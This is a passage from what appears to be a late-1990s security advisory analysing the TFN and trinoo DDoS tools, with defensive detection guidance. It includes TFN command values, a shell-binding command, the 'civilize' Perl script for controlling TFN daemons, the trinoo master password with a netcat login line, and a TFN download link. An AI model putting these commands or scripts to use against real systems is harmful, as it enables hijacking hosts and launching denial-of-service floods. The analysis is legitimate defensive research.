/* These are like passwords, you might want to change them */
#define ID_ACK 123 /* for replies to the client */
#define ID_SHELL 456 /* to bind a rootshell, optional */
#define ID_PSIZE 789 /* to change size of udp/icmp packets */
#define ID_SWITCH 234 /* to switch spoofing mode */
#define ID_STOPIT 567 /* to stop flooding */
#define ID_SENDUDP 890 /* to udp flood */
#define ID_SENDSYN 345 /* to syn flood */
#define ID_SYNPORT 678 /* to set port */
#define ID_ICMP 901 /* to icmp flood */
#define ID_SMURF 666 /* haps! haps! */
#define _CONFIG_H
#endif
As you can see, it is recommended that these be changed to prevent
someone stumbling across the daemons from knowing what values are
used, thereby allowing them to execute daemon commands.
As with trinoo, the method used to install the client/daemon will
be the same as installing any program on a Unix system, with all
the standard options for concealing the programs and files. Both
the client and the daemon must be run as root, as they both open
a AF_INET socket in SOCK_RAW mode. The client program requires
the iplist be available, so finding a client will allow you to
get the list of clients. Recent installations of TFN daemons
have included strings that indicate the author is (or has) added
Blowfish encryption of the iplist file. This will make the task
of determining the daemons much harder. Strings embedded in a
recently recovered TFN daemon binary (edited and rearranged for
clarity, with comments to the right) are:
blowfish_init
blowfish_encipher
blowfish_decipher Uses Blowfish for encryption of something.
encrypt_string
decrypt_string
serverworks
readmservers
addnewmserver Has more advanced client/server functions.
delmserver
servcounti
icmp2
udppsize
icmpsize
spoofing
spooftest
commence_icmp Attack function signatures.
commence_udp
commence_syn
floodtime
floodruns
bind
setsockopt Remote shell function.
listensocket
k00lip
fw00ding
k00lntoa
tc: unknown host
rm -rf %s
ttymon
rcp %s@%s:sol.bin %s Embedded commands to upload files,
nohup ./%s delete files, and with an association
130.243.70.20 with a particular IP address
127.0.0.1 (possibly a client, or location of a
lpsched file cache)
sicken
in.telne
If "lsof" is used to examine the running daemon process, it only
shows an open socket of unspecified protocol:
td 5931 root cwd DIR 3,5 1024 240721 /usr/lib/libx/...
td 5931 root rtd DIR 3,1 1024 2 /
td 5931 root txt REG 3,5 297508 240734 /usr/lib/libx/.../td
td 5931 root 3u sock 0,0 92814 can't identify protocol
If a remote shell has been started, the daemon will fork and show
a new process with a listening TCP port:
td 5970 root cwd DIR 3,5 1024 240721 /usr/lib/libx/...
td 5970 root rtd DIR 3,1 1024 2 /
td 5970 root txt REG 3,5 297508 240734 /usr/lib/libx/.../td (deleted)
td 5970 root 0u inet 92909 TCP *:12345 (LISTEN)
td 5970 root 3u sock 0,0 92814 can't identify protocol
Monitoring the network traffic using "sniffit" and doing "ping -c
3 10.0.0.1" (sends three ICMP_ECHO packets, wait for
ICMP_ECHOREPLY packets in return, and quit) looks like this (IP
header removed for clarity):
# sniffit -d -a -x -b -s @ -Picmp
Supported Network device found. (eth0)
Sniffit.0.3.7 Beta is up and running.... (192.168.0.1)
ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 2B + 51 Q 98 . 04 . 00 . 00 . 37 7 FC . 0D . 38 8
02 . 73 s 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 33 3 51 Q 98 . 04 . 00 . 00 . 37 7 FC . 0D . 38 8
02 . 73 s 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 58 X 61 a 98 . 04 . 01 . 00 . 38 8 FC . 0D . 38 8
D3 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 60 ` 61 a 98 . 04 . 01 . 00 . 38 8 FC . 0D . 38 8
D3 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 70 p 61 a 98 . 04 . 02 . 00 . 39 9 FC . 0D . 38 8
B9 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 78 x 61 a 98 . 04 . 02 . 00 . 39 9 FC . 0D . 38 8
B9 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7
As you can see, packets with a fixed payload (bytes 17 on) are
sent as ICMP_ECHO packets to the destination, which returns the
same payload as an ICMP_ECHOREPLY packet. The initial packet has
a sequence number of zero (seen as bytes 7 and 8 in the ICMP
packet), which is incremented for each further packet sent in
sequence. Seen by tcpdump/tcpshow, the three packet "ping" flow
would look like:
# tcpdump -lenx -s 1518 icmp | tcpshow -noip -nolink -cooked
tcpdump: listening on eth0
Packet 1
ICMP Header
Type: echo-request
Checksum: 0x9B2A
Id: 0x6E03
Sequence: 0x0000
ICMP Data
q..8x.
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 2
ICMP Header
Type: echo-reply
Checksum: 0xA32A
Id: 0x6E03
Sequence: 0x0000
ICMP Data
q..8x.
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 3
ICMP Header
Type: echo-request
Checksum: 0x623A
Id: 0x6E03
Sequence: 0x0001
ICMP Data
r..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 4
ICMP Header
Type: echo-reply
Checksum: 0x6A3A
Id: 0x6E03
Sequence: 0x0001
ICMP Data
r..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 5
ICMP Header
Type: echo-request
Checksum: 0x5A3A
Id: 0x6E03
Sequence: 0x0002
ICMP Data
s..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 6
ICMP Header
Type: echo-reply
Checksum: 0x623A
Id: 0x6E03
Sequence: 0x0002
ICMP Data
s..8..
..
..................... !"#$%&'()*+,-./01234567
The TFN client, on the other hand, sends commands to daemons using
ICMP_ECHOREPLY packets instead of ICMP_ECHO. This is to prevent
the kernel on the daemon system from replying with an
ICMP_ECHOREPLY packet. The daemon then responds (if need be) to
the client(s), also using an ICMP_ECHOREPLY packet. The payload
differs with TFN, as it is used for sending command arguments and
replies. The ICMP_ECHOREPLY id field contains the "command" (16
bit value, converted to network byte order with htons() in the
code) and any arguments in ASCII clear text form in the data
field of the packet. Here is what an attacker sees when
executing the command to start a shell listening on port 12345:
# ./tfn iplist 4 12345
[tribe flood network] (c) 1999 by Mixter
[request: bind shell to port 12345]
192.168.0.1: shell bound to port 12345
#
Here is the packet flow for this command as seen on the network
with "sniffit" (IP headers removed for clarity):
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 64 d D1 . 01 . C8 . 00 . 00 . 31 1 32 2 33 3 34 4
35 5 00 .
ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 6C l AE . 00 . 7B { 00 . 00 . 73 s 68 h 65 e 6C l
6C l 20 62 b 6F o 75 u 6E n 64 d 20 74 t 6F o 20 70 p 6F o 72 r 74 t 20
31 1 32 2 33 3 34 4 35 5 0A . 00 .
Viewed with tcpdump alone, it would look like this (IP headers
removed for clarity):
# tcpdump -lnx -s 1518 icmp
tcpdump: listening on eth0
05:51:32.706829 10.0.0.1 > 192.168.0.1: icmp: echo reply
.... .... .... .... .... .... .... ....
.... .... 0000 64d1 01c8 0000 3132 3334
3500
05:51:32.741556 192.168.0.1 > 10.0.0.1: icmp: echo reply
.... .... .... .... .... .... .... ....
.... .... 0000 6cae 007b 0000 7368 656c
6c20 626f 756e 6420 746f 2070 6f72 7420
3132 3334 350a 00
Combining tcpdump with tcpshow, it is easier to see the data
payload:
Packet 1
ICMP Header
Type: echo-reply
Checksum: 0x64D1
Id: 0x01C8
Sequence: 0x0000
ICMP Data
12345
-----------------------------------------------------------------
Packet 2
ICMP Header
Type: echo-reply
Checksum: 0x6CAE
Id: 0x007B
Sequence: 0x0000
ICMP Data
shell bound to port 12345
As can be seen here, the client sends the command 0x01C8 (decimal
456) in the id field, followed by a sequence number of 0x0000 (it
is always zero in the code), followed by the NULL terminated
ASCII string "12345" (specified port number) is sent to the
daemon. The daemon responds with the command reply 0x007B
(decimal 123) in the id field, followed by a sequence number of
0x0000, followed by the NULL terminated ASCII string "shell bound
to port 12345\n". This string is then echoed to the shell by the
client, with the daemon's IP address prepended.
If the source has not been modified, you can identify TFN clients
and daemons by observing the strings embedded in the program
binary:
# strings - td
. . .
%d.%d.%d.%d
/bin/sh
tfn-daemon
already %s flooding
multiple targets
ICMP flood: %s
tfn-child
SMURF (target@bcast@...): %s
UDP flood: %s
SYN flood: port %d, multiple targets
SYN flood: port %d, %s
ready - size: %d spoof: %d
%s flood terminated
packet size: %d bytes
spoof mask: *.*.*.* (%s)
spoof mask: 1.*.*.* (%s)
spoof mask: 1.1.*.* (%s)
spoof mask: 1.1.1.* (%s)
spoof test: %s
shell bound to port %s
. . .
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
ICMP
SMURF
. . .
# strings - tfn
. . .
%d.%d.%d.%d
ERROR reading IP list
[1;37m
[request: change packet size]
[request: change spoofmask]
[request: stop and display status]
[request: udp flood %s]
[request: syn flood [port: %s] %s]
[request: icmp flood %s]
[request: bind shell to port %s]
[request: smurf (target@bcast@...) %s]
[0;0m
[0m%s:
[0;31m
[0;34mtimeout
[1;34m
usage: %s <iplist> <type> [ip] [port]
<iplist> contains a list of numerical hosts that are ready to flood
<type> -1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by %s if more than one
[port] must be given for a syn flood, 0 = RANDOM
skipping
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
. . .
More recent binaries (shown earlier) include strings that indicate
the newer code now has multi-master (instead of single client)
capabilities, like trinoo, and encryption of (presumably) the
iplist file, list of masters, and possibly even encryption of the
data portion of the ICMP packets. The newer binaries recovered
also show use of the Berkeley "rcp" command. Monitoring "rcp"
connections (514/tcp) from multiple systems on your network, in
quick succession, to a single IP address outside your network
would be a good trigger. (Note that the use of "rcp" in a this
form requires an anonymous trust relationship, usually in the
form of "+ +" in a user's ~/.rhosts file, which also will allow
you to immediately archive the contents of this account while
contacting the owners to preserve evidence). Since TFN uses ICMP
packets, it is much more difficult to detect in action, and
packets will go right through most firewalls. Programs like
"ngrep" do not process ICMP packets, so you will not as easily
(at this point in time) be able to watch for strings in the data
portion of the ICMP packets.
One weakness in TFN is that it does no authentication of the
source of ICMP packets (at least not in the code used for this
analysis). If the command value has not been changed from the
default, only one packet would be necessary to flush out a daemon.
(A Perl script using Net::RawIP named "civilize" has been
developed to accomplish this task). If the command values had
been changed, you could still brute force attack the daemon by
sending all combinations of three digit values (the id field is
16 bits, so the actual maximum should be 64K). While this would
almost constitute an ICMP flood attack in its own right, it is
still a potential weakness that can be exploited.
Perl script "civilize" to control TFN daemons:
#!/usr/bin/perl
#
# civilize v. 1.0
# By Dave Dittrich <dittrich@cac.washington.edu>
#
# Send commands to TFN daemon(s), causing them to do things like
# spawn shells, stop floods and report status, etc. Using this program
# (and knowledge of the proper daemon "passwords"), you can affect TFN
# daemons externally and monitor packets to verify if a daemon is
# running, etc. You can also brute force attack the "passwords" by
# sending packets until you get the desired reply (or give up.)
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./civilize [options] host1 [host2 [...]]
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek <ian.vitek@infosec.se>)
require 'getopts.pl';
use Net::RawIP;
require 'netinet/in.ph';
$a = new Net::RawIP({icmp => {}});
chop($hostname = `hostname`);
Getopts('a:c:f:i:vh');
die "usage: $0 [options] iplist\
\t-a arg\t\tSend command argument 'arg' (default \"12345\")\
\t-c val\t\tSend command value 'val' (default 456 - spawn a shell)\
\t-f from_host\t\t(default:$hostname)\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );
# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$opt_a = ($opt_a) ? $opt_a : "12345";
$opt_c = ($opt_c) ? $opt_c : "456";
# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}
$s_host = ($opt_h) ? $opt_h : $hostname;
if ($ARGV[0]) {
open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'";
while (<I>) {
chop;
push(@list,$_);
}
close(I);
}
# Put value in network byte order (couldn't get htons() in
# "netinet/in.ph" to work. Go figure.)
$id = unpack("S", pack("n", $opt_c));
foreach $d_host (@list) {
$a->set({ip => {saddr => $s_host, daddr => $d_host},
icmp => {type => 0, id => $id, data => "$opt_a\0"}
});
print "sending packet [$opt_c/$opt_a] to $d_host\n" if $opt_v;
$a->send;
}
exit(0);
TFN 1.3.0053 can be obtained from
http://packetstorm.securify.com/groups/mixter/tfn.tgz
MacOS 9 can be abused by an intruder to generate a large volume of
traffic directed at a victim in response to a small amount of
traffic produced by an intruder. This allows an intruder to use
MacOS 9 as a "traffic amplifier," and flood victims with traffic.
According to The "Mac Attack," a Scheme for Blocking Internet
Connections, John A. Copeland, December, 1999, available at
http://www.csc.gatech.edu/~copeland
http://people.atl.mediaone.net/jacopeland
an intruder can use this asymmetry to "amplify" traffic by a
factor of approximately 37.5, thus enabling an intruder with
limited bandwidth to flood a much larger connection. Unlike a
smurf attack, however, it is not necessary to use a directed
broadcast to achieve traffic amplification.
SOLUTION
Of course, the best defense is to prevent intrusions and root
level compromise of your systems in the first place, so there
would be no systems on which to install trinoo master/daemons.
In the real world, this is not an option (at least not in the
foreseeable future.) Instead, your network may already have
several trinoo daemons running and ready to DoS other systems at
any minute. So how can they be detected or disabled?
Because the programs use high numbered UDP ports for both
communication and attack, it will be very difficult (if not
impossible) to block it without breaking programs that use UDP on
high numbered ports. The easiest method to detect the presence
of trinoo masters or daemons (as the code exists presently) may
be to monitor all UDP packets on shared Ethernet segments and
look for the tell tale signs of communication between master(s)
and daemon(s) as described elsewhere in this paper. (Switches
would preclude seeing UDP packets that are not associated with
the MAC address of the monitoring host's network interface.)
Unfortunately, this would only occur during an attack, which
would likely become known by network throughput degradation
and/or reports of denial of service attacks from victim sites. If
a system is suspected of hosting a trinoo daemon that is actively
attacking, the output of the Solaris "truss" program on the
running daemon will show output like the following:
. . .
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) (sleeping...)
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0
time() = 938385467
open("/dev/udp", O_RDWR) = 5
ioctl(5, I_PUSH, "sockmod") = 0
ioctl(5, I_STR, 0xEFFFF748) = 0
ioctl(5, I_SETCLTIME, 0xEFFFF7FC) = 0
ioctl(5, I_SWROPT, 0x00000002) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF7EC, 0xEFFFF7DC) = 0
ioctl(5, I_STR, 0xEFFFF660) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF7DC, 0xEFFFF7B8) = 0
sigprocmask(SIG_BLOCK, 0xEFFFF548, 0xEFFFF5C0) = 0
ioctl(5, I_STR, 0xEFFFF548) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF5C0, 0x00000000) = 0
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
. . .
The traffic on the network during an attack against a single
target (as seen by "tcpdump") would look like:
# tcpdump ip host 192.168.0.1
. . .
15:40:08.491782 10.0.0.1.1024 > 192.168.0.1.27444: udp 25
15:40:08.574453 192.168.0.1.32885 > 216.160.XX.YY.16838: udp 4 (DF)
15:40:08.576427 192.168.0.1.32885 > 216.160.XX.YY.5758: udp 4 (DF)
15:40:08.579752 192.168.0.1.32885 > 216.160.XX.YY.10113: udp 4 (DF)
15:40:08.583056 192.168.0.1.32885 > 216.160.XX.YY.17515: udp 4 (DF)
15:40:08.600948 192.168.0.1.32885 > 216.160.XX.YY.31051: udp 4 (DF)
15:40:08.604943 192.168.0.1.32885 > 216.160.XX.YY.5627: udp 4 (DF)
15:40:08.610886 192.168.0.1.32885 > 216.160.XX.YY.23010: udp 4 (DF)
15:40:08.614202 192.168.0.1.32885 > 216.160.XX.YY.7419: udp 4 (DF)
15:40:08.615507 192.168.0.1.32885 > 216.160.XX.YY.16212: udp 4 (DF)
15:40:08.616854 192.168.0.1.32885 > 216.160.XX.YY.4086: udp 4 (DF)
15:40:08.618827 192.168.0.1.32885 > 216.160.XX.YY.2749: udp 4 (DF)
15:40:08.623480 192.168.0.1.32885 > 216.160.XX.YY.12767: udp 4 (DF)
15:40:08.625458 192.168.0.1.32885 > 216.160.XX.YY.9084: udp 4 (DF)
15:40:08.628764 192.168.0.1.32885 > 216.160.XX.YY.12060: udp 4 (DF)
15:40:08.632090 192.168.0.1.32885 > 216.160.XX.YY.32225: udp 4 (DF)
. . .
Currently Trinoo has several signatures that allow it to be
detected from IP flow records. Trinoo Daemon (ns.c):
1. The trinoo daemon by default listens to UDP port 27444
2. All communication with the trinoo daemon must have the
string l44 (ell 44).
3. The SYN flood mechanism picks the destination port via the
following algorithm:
to.syn_port = htons(rand() % 65534)
Several observations can be made:
a. randomize()/srandom() is never called, so the destination port
will always fit the following algorithm:
SYN packet 1 has destination port x
SYN packet 2 has destination port y as defined by
srandom(x); y = rand();
SYN packet 3 has destination port z as defined by
srandom(y); z = rand();
b. Since the port is a result of modulus 65534, destination port 0
will show up, while destination port 65535 will not.
IDS detection of daemon:
1. Look for UDP connections to destination port 27444. This is
indicative of the control session.
2. The string l44 will determine with a large probability that the
packet is part of a trinoo control session.
3. Running trinoo DoS attacks (SYN Floods) can be identified by
the algorithm given in 3 above. In addition, if you can catch
the first SYN, it will *always* be the result of srand(1);
rand();. On one authors laptop, an example sequence of
destination ports would be:
32540
48264
58208
56084
46021
37263
6890
38941
17766
40714
Although this doesn't stop the Denial of Service, it will say with
some probability this is a trinoo attack, and you should start
looking for a master!
Detecting the trinoo daemon on your network:
Trinoo daemons can be indexed by a master by sending a png
command. Live daemons will respond with a PONG. The original
author probably added this so the master can see which
daemons are still alive. You can scan a network with the
attached program for anything that responds appropriately
(which chances are is a trinoo daemon).
Trinoo Server (master.c). The network communications that are
indicative of a trinoo server are:
1. Sending UDP packets with destination port 27444
2. UDP packets as described above with the string l44adsl
(ell 44 a d sell)
3. A server will bind to port 27665
IDS detecting the trinoo server:
1. Look for flows with protocol type 17 (UDP)
2. TCP connections (protocol type 6) to destination port 27665
(the trinoo server)
Detecting the Trinoo server of your network:
The server password hasn't changed (to the best of the authors
knowledge), nor has the port it listens to. Trinoo possible
masters can be detected by using a tool like nmap to find
hosts listening to port 27665, i.e.
nmap -PI -sT -p 27655 -m logfile "you.subnet.*.*"
After a list of possible servers has been compiled, automated
login can be used for positive identification. If you wish
to script the automated login, try netcat (nc on most
systems), i.e.
echo "betaalmostdone" | nc <IP> 27665
Because the TFN programs use ICMP_ECHOREPLY packets for
communication, it will be very difficult (if not impossible) to
block it without breaking most Internet programs that rely on
ICMP. The Phrack paper on LOKI states:
The only sure way to destroy this channel is to deny ALL
ICMP_ECHO traffic into your network.
Short of rejecting this traffic, it will instead be necessary to
observe the difference between "normal" use of ICMP_ECHO and
ICMP_ECHOREPLY packets by programs like "ping". This will not be
an easy task, especially on large networks.
Apple is developing a patch. They reproduced the problem in our
lab and we are working now to create a fix that can be easily
distributed to our customers. The problem only affects customers
running our most recent release of networking software on machines
that are continuously attached to the internet. While most
Macintosh customers are not affected by this problem, Apple is
moving quickly to put a solution in place.